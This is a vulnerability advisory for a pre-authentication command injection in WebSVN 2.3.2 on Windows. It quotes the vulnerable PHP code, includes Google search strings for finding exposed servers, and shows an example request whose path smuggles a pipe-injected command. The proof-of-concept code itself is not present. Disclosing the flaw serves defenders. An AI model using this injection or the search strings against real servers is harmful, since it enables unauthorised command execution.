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WebSVN 2.3.2 Unproper Metacharacters Escaping exec() Remote Commands Injection Vulnerability

WebSVN 2.3.2 Unproper Metacharacters Escaping exec() Remote Commands Injection Vulnerability

tested against: Microsoft Windows Server R2 SP2 
                PHP 5.3.6 VC9 with magic_quotes_gpc = off (default)
                Apache 2.2.17 VC9

This is a very special vulnerabilty, given the incredibly high number 
of machines involved. This can be verified by submitting the following
queries to Google:

"Powered by WebSVN * and Subversion"
"Powered by WebSVN 2.3.2 and Subversion"

homepage url: http://websvn.tigris.org/

Description says:
"WebSVN offers a view onto your subversion repositories that's been designed to 
reflect the Subversion methodology. You can view the log of any file or directory
and see a list of all the files changed, added or deleted in any given revision.
You can also view compare two versions of a file so as to see exactly what was 
changed in a particular revision.

Since it's written using PHP, WebSVN is very portable and easy to install."


Without prior authentication, if the 'allowDownload' option is enabled 
in config.php, meaning that a tarball download is allowed across all the 
repositories (not uncommon), an attacker can invoke the dl.php script
and passing a well formed 'path' argument to execute arbitrary
commands against the underlying operating system.

Vulnerable code:

look at dl.php, lines 114-139:

} else {
		// Create the name of the directory being archived
		$archiveName = $path;
		$isDir = (substr($archiveName, -1) == '/');
		if ($isDir) {
			$archiveName = substr($archiveName, 0, -1);
		$archiveName = basename($archiveName);
		if ($archiveName == '') {
			$archiveName = $rep->name;
		$plainfilename = $archiveName;
		$archiveName .= '.r'.$rev;
		// Export the requested path from SVN repository to the temp directory
		$svnExportResult = $svnrep->exportRepositoryPath($path, $tempDir.DIRECTORY_SEPARATOR.$archiveName, $rev, $peg);
                if ($svnExportResult != 0) {
			header('HTTP/1.x 500 Internal Server Error', true, 500);
			error_log('svn export failed for: '.$archiveName);
			print 'svn export failed for "'.xml_entities($archiveName).'".';

then look at exportRepositoryPath() function inside ./include/svnlook.php, lines 879-896:
// {{{ exportDirectory
	// Exports the directory to the given location

	function exportRepositoryPath($path, $filename, $rev = 0, $peg = '') {
		$cmd = $this->svnCommandString('export', $path, $rev, $peg).' '.quote($filename); //<---------------
		$retcode = 0;
		execCommand($cmd, $retcode); //<----------------------
		if ($retcode != 0) {
			global $lang;
			error_log($lang['BADCMD'].': '.escape($cmd));
		return $retcode;

	// }}}

again look at execCommand() function inside ./include/command.php, lines 107-123:

// {{{ execCommand

function execCommand($cmd, &$retcode) {
	global $config;

	// On Windows machines, the whole line needs quotes round it so that it's
	// passed to cmd.exe correctly
	// Since php 5.3.0 the quoting seems to be done internally

	if ($config->serverIsWindows && version_compare(PHP_VERSION, '5.3.0alpha') === -1) {
		$cmd = '"'.$cmd.'"'; //<------------ nonsense ...

	return @exec($cmd, $tmp, $retcode); //<--------------------- boom

// }}}

also, look at quote() inside ./include/command.php:

// {{{ quote
// Quote a string to send to the command line

function quote($str) {
	global $config;

	if ($config->serverIsWindows) {
		return '"'.$str.'"'; //<--------------------------- !!!
	} else {
		return escapeshellarg($str); //<------------ this should work properly on Linux instead

// }}}

Example packet:

POST /websvn/dl.php HTTP/1.1
User-Agent: Mozilla/4.0
Accept: */*
Cookie: storedsesstemplate=.%00; storedtemplate=.%00;
Content-Length: 42
Content-Type: application/x-www-form-urlencoded


the resulting command line is like this:

"c:\SVN\bin\svn" --non-interactive --config-dir C:\SVN\tmp\export "URL%20to%20repository%20%28e.g.%20file:///d:/SubVersion/proj%29./../../x%22%7Cver%3Esuntzu.txt%7C%22@" "C:\Documents and Settings
\Administrator\Local Settings\Temp\web554.tmp\x"|ver>suntzu.txt|".r"

allowing you to inject arbitrary commands via the pipe char.

Proof of concept code:


original url: http://retrogod.altervista.org/rgod_websvn_adv.html